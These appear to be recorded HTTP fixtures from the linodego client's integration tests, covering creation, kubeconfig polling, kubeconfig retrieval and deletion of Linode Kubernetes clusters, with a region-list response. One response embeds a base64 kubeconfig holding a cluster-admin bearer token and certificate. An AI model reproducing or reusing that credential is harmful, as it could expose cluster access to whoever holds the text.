request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/252665 method: GET response: body: '{"id": 252665, "status": "ready", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "label": "go-lke-test-kube-delete", "region": "ap-west", "k8s_version": "1.29", "control_plane": {"high_availability": false}, "tags": ["testing"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "249" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 25 Oct 2024 14:58:09 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/252665/kubeconfig method: GET response: body: '{"errors": [{"reason": "Cluster kubeconfig is not yet available. Please try again later."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "92" Content-Type: - application/json Expires: - Fri, 25 Oct 2024 14:58:10 GMT Pragma: - no-cache Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" status: 503 Service Unavailable code: 503 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/252665/kubeconfig method: GET response: body: '{"errors": [{"reason": "Cluster kubeconfig is not yet available. Please try again later."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "92" Content-Type: - application/json Expires: - Fri, 25 Oct 2024 14:58:14 GMT Pragma: - no-cache Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" status: 503 Service Unavailable code: 503 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/252665/kubeconfig method: GET response: body: '{"errors": [{"reason": "Cluster kubeconfig is not yet available. Please try again later."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "92" Content-Type: - application/json Expires: - Fri, 25 Oct 2024 14:58:19 GMT Pragma: - no-cache Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" status: 503 Service Unavailable code: 503 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/252665/kubeconfig method: GET response: body: '{"errors": [{"reason": "Cluster kubeconfig is not yet available. Please try again later."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "92" Content-Type: - application/json Expires: - Fri, 25 Oct 2024 14:58:30 GMT Pragma: - no-cache Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" status: 503 Service Unavailable code: 503 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/252665/kubeconfig method: GET response: body: '{"errors": [{"reason": "Cluster kubeconfig is not yet available. Please try again later."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "92" Content-Type: - application/json Expires: - Fri, 25 Oct 2024 14:58:50 GMT Pragma: - no-cache Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" status: 503 Service Unavailable code: 503 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/252665/kubeconfig method: GET response: body: '{"kubeconfig": "CmFwaVZlcnNpb246IHYxCmtpbmQ6IENvbmZpZwpwcmVmZXJlbmNlczoge30KCmNsdXN0ZXJzOgotIGNsdXN0ZXI6CiAgICBjZXJ0aWZpY2F0ZS1hdXRob3JpdHktZGF0YTogTFMwdExTMUNSVWRKVGlCRFJWSlVTVVpKUTBGVVJTMHRMUzB0Q2sxSlNVUkNWRU5EUVdVeVowRjNTVUpCWjBsSlpuWnNUVlJFZVVoalIwVjNSRkZaU2t0dldrbG9kbU5PUVZGRlRFSlJRWGRHVkVWVVRVSkZSMEV4VlVVS1FYaE5TMkV6Vm1sYVdFcDFXbGhTYkdONlFXVkdkekI1VGtSRmQwMXFWWGhPUkZWNVRsUmtZVVozTUhwT1JFVjNUV3BOZUU1RVZUTk9WR1JoVFVKVmVBcEZla0ZTUW1kT1ZrSkJUVlJEYlhReFdXMVdlV0p0VmpCYVdFMTNaMmRGYVUxQk1FZERVM0ZIVTBsaU0wUlJSVUpCVVZWQlFUUkpRa1IzUVhkblowVkxDa0Z2U1VKQlVVTnRSR3BoVldaVVRYaDRjWGRKUTJ4QmJtdEhha0ZqWlU0dllWZ3hXbkl3ZEdSQlRsQjJMM1ZZVFVZMk1raDBVbHBaTkhaak5GWkthbElLZEcwM1pGTkJWSFpTTjFnM01VMUdXV05rYWpjM01tdG9RbEJoTldkNFUyRm9ObFJWVmt0cVRITjRXRU5hVEdSMWMydEhhM0ZNYW5CMVNGQkhUMEpCWlFwV1lYbG1XRWhhWTFReWFWVndSVVY2TTB4UmNXWlBkSEk0Vm1oM1ZTdFJSemhpWjI5c05qQk1iaTgyVG1KWGIwZGpjMWhUUlRWSFNHMVpNa3RWTTBKM0NsRkdNRTFISzJ4WE15OUliSEpJUlhsM01GWTVibEJ6ZWtvMloxUTNlQzlVYjFadWRIVjBTRzR4VWxRNWRGVlJlUzlwY2s1Rlkyd3plRU5VVVRBcmFWSUtkbkZZYzJGR01VaEtlRkkwTmxkTlVWZGhNWEJCUVhKd1lVcG5iMnczUzNneU1sQlNXa0ZyVEU5TlQxUjJkVVY0WkdaMlVrNVFVVFp2WlRSS2QzRXdVUW8zTTJkTUwwaFdibE5VY1VRMmNrZDBTM0pNVFd4TE0wVndXVEZxUVdkTlFrRkJSMnBYVkVKWVRVRTBSMEV4VldSRWQwVkNMM2RSUlVGM1NVTndSRUZRQ2tKblRsWklVazFDUVdZNFJVSlVRVVJCVVVndlRVSXdSMEV4VldSRVoxRlhRa0pSYWxOblVqUTVjbXhTUmtsSFEyTXliRkpRYjA0eVpHbEZhVVI2UVZZS1FtZE9Wa2hTUlVWRWFrRk5aMmR3Y21SWFNteGpiVFZzWkVkV2VrMUJNRWREVTNGSFUwbGlNMFJSUlVKRGQxVkJRVFJKUWtGUlEwUlpiM1pRYzFOT1pnb3pVV2RQYzJGWWVVNDFhbVZCZEVGT01UZzBaVGhKU20xRWVGVmlhMDlVWlhvNGQyTTNZVTVqWVZwWlJIQkJiaXRXZUdOamJVaFhkV292Y0RKc1kyZE5Damh0T1hjMVJXRkNOa2R5Wkd0cVFUTnBWamRsZVhWRldIVXJTbTR6Vms0NGRFWXZjVUpoTTFWS1JVMXZNbVpGVm14TWRHSjZUV0pvVFZReWEzWjRSazhLUTIwMU9YcG1laXRyWkhwT04yUXpLMk5EU2xOd1FYcDZObUZwU1VFd2JuZDRRMjkwYUVSSlN6Qldla0pYT1dkcFVtRm1ZMVE0UTBnd05tUTJWMFp0TWdwUlpIZzNXa2N3VVVaYVdsRTVRbGxQY1cxMVdYSlBSeTlyWlVaS05ITXdaMHBaU0dWb1NrSXdha3BRYmtZMGFqZENkekpaY0V4dGFsRk5iell3YzBFeUNucDZMekZEWkhKTllXeHRNbHBPVlRaYVJFNTJTMGQyUkN0cmNrcDZZM0V6WjIxRFMxazFSWFpDWkhBNGRHRklOMHROTUd0S1JsRlhkVVJtTkdoeWQySUtUVlpTVG1aakwzRnJiVlZLQ2kwdExTMHRSVTVFSUVORlVsUkpSa2xEUVZSRkxTMHRMUzBLCiAgICBzZXJ2ZXI6IGh0dHBzOi8vMjkwMTQ0ZjctOTg4My00NjU4LWE3ZTItZWUyNzhkOTNlZDhiLmFwLXdlc3QtMS5saW5vZGVsa2UubmV0OjQ0MwogIG5hbWU6IGxrZTI1MjY2NQoKdXNlcnM6Ci0gbmFtZTogbGtlMjUyNjY1LWFkbWluCiAgdXNlcjoKICAgIGFzLXVzZXItZXh0cmE6IHt9CiAgICB0b2tlbjogZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWkNJNkltTXdiM3B4VnpZM2FsbG1UVTEwZDJGMVMxRXhhVVZ5UzJoUWRrUjNZbWRWT0ZwbVRWOXhlRFF4Vm5NaWZRLmV5SnBjM01pT2lKcmRXSmxjbTVsZEdWekwzTmxjblpwWTJWaFkyTnZkVzUwSWl3aWEzVmlaWEp1WlhSbGN5NXBieTl6WlhKMmFXTmxZV05qYjNWdWRDOXVZVzFsYzNCaFkyVWlPaUpyZFdKbExYTjVjM1JsYlNJc0ltdDFZbVZ5Ym1WMFpYTXVhVzh2YzJWeWRtbGpaV0ZqWTI5MWJuUXZjMlZqY21WMExtNWhiV1VpT2lKc2EyVXRZV1J0YVc0dGRHOXJaVzR0YTJ4dGNtb2lMQ0pyZFdKbGNtNWxkR1Z6TG1sdkwzTmxjblpwWTJWaFkyTnZkVzUwTDNObGNuWnBZMlV0WVdOamIzVnVkQzV1WVcxbElqb2liR3RsTFdGa2JXbHVJaXdpYTNWaVpYSnVaWFJsY3k1cGJ5OXpaWEoyYVdObFlXTmpiM1Z1ZEM5elpYSjJhV05sTFdGalkyOTFiblF1ZFdsa0lqb2lZVE0zWWpFek56UXRZalZsTkMwME5EVmhMV0V4TmpRdE1UQXhaalUxTnpJMVlqa3pJaXdpYzNWaUlqb2ljM2x6ZEdWdE9uTmxjblpwWTJWaFkyTnZkVzUwT210MVltVXRjM2x6ZEdWdE9teHJaUzFoWkcxcGJpSjkuamRhQURfRThBUHNRRk01dXVKMjVGamRaSkZJcDZMMDdUOXhRLUlUdWhhUXBjM0pNUnF6bS0xQUo1RU14Qm1OTmUzOGtOZ0FxUUJwUmZqWThKRUVBdE9MUHMzdGRlNm1zTFBRYmdpOU1Gek8wcmdUNXpEcGVNTEpfdy1rY2xwcFpKb2hBNlZDY3BZOEpVZDViNGhiMVpYOXFfb0ZiS2ZVbXBxdmF6VmNLVFVyMGdwa3JZWlk2eG0wZXJCLWVTSVJja19xVUdNRkRBZVFHRlhLaTJYWUZ5NG9FdGFoUF90MlBULWdqTmtOTnFsRWFFX0hTcHFlbXpGb01QMmJJMnU5Q0tOdV93aWtONkZ6ZjlpWFhmQkJ5N0VxbmZkdDNBWENsS25zemdtcEMxVUdvaFV6NjIyV3ZTa2N2NDZ5bGRXY0RvWk1kNFpYR2dBYzcxbVlaOERvZnB3Cgpjb250ZXh0czoKLSBjb250ZXh0OgogICAgY2x1c3RlcjogbGtlMjUyNjY1CiAgICBuYW1lc3BhY2U6IGRlZmF1bHQKICAgIHVzZXI6IGxrZTI1MjY2NS1hZG1pbgogIG5hbWU6IGxrZTI1MjY2NS1jdHgKCmN1cnJlbnQtY29udGV4dDogbGtlMjUyNjY1LWN0eAo="}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 25 Oct 2024 14:59:15 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/252665/kubeconfig method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 25 Oct 2024 14:59:17 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/252665 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 25 Oct 2024 14:59:20 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestLKECluster_Kubeconfig_Get.yaml000066400000000000000000000635731474652371000332360ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, India", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Vlans", "VPCs", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, Ontario, CAN", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Vlans", "VPCs", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, NSW, Australia", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Vlans", "VPCs", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fake-cph-4", "label": "Fake CPH 4, DK", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fake-cph-5", "label": "Fake CPH 5, DK", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "billing66", "label": "Billing Automation, BA", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "billing67", "label": "Billing Automation, BA", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "billing100", "label": "Billing Automation, BA", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX, USA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Kubernetes", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA, USA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA, USA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ, USA", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "VPCs", "Block Storage Migrations", "Managed Databases", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, England, UK", "country": "uk", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo 2, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 16}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Accept-Encoding - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"node_pools":[{"count":1,"type":"g6-standard-2","disks":null,"tags":["test"]}],"label":"go-lke-test-kube-get","region":"us-east","k8s_version":"1.29","tags":["testing"]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters method: POST response: body: '{"id": 7944, "status": "ready", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "label": "go-lke-test-kube-get", "region": "us-east", "k8s_version": "1.29", "control_plane": {"high_availability": false}, "tags": ["testing"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "244" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/7944 method: GET response: body: '{"id": 7944, "status": "ready", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "label": "go-lke-test-kube-get", "region": "us-east", "k8s_version": "1.29", "control_plane": {"high_availability": false}, "tags": ["testing"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "244" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/7944/kubeconfig method: GET response: body: '{"errors": [{"reason": "Cluster kubeconfig is not yet available. Please try again later."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Content-Length: - "92" Content-Type: - application/json Server: - nginx Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" status: 503 Service 